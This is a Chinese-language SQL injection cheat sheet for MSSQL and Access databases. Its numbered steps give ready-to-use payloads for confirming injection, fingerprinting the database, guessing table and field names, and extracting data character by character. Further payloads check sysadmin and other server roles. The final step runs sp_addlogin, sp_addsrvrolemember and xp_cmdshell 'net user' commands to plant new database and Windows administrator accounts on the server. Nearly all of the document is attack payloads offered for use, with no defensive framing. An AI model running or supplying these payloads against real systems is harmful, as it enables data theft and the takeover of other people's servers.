1.判断是否有注入
;and 1=1
;and 1=2
2.初步判断是否是mssql
;and user>0
3.注入参数是字符
'and [查询条件] and ''='
4.搜索时没过滤参数的
'and [查询条件] and '%25'='
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
6.猜数据库
;and (Select Count(*) from [数据库名])>0
7.猜字段
;and (Select Count(字段名) from 数据库名)>0
8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
;and 1=(Select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(Select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(Select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(Select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(Select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(Select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(Select IS_MEMBER('db_owner'));--
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--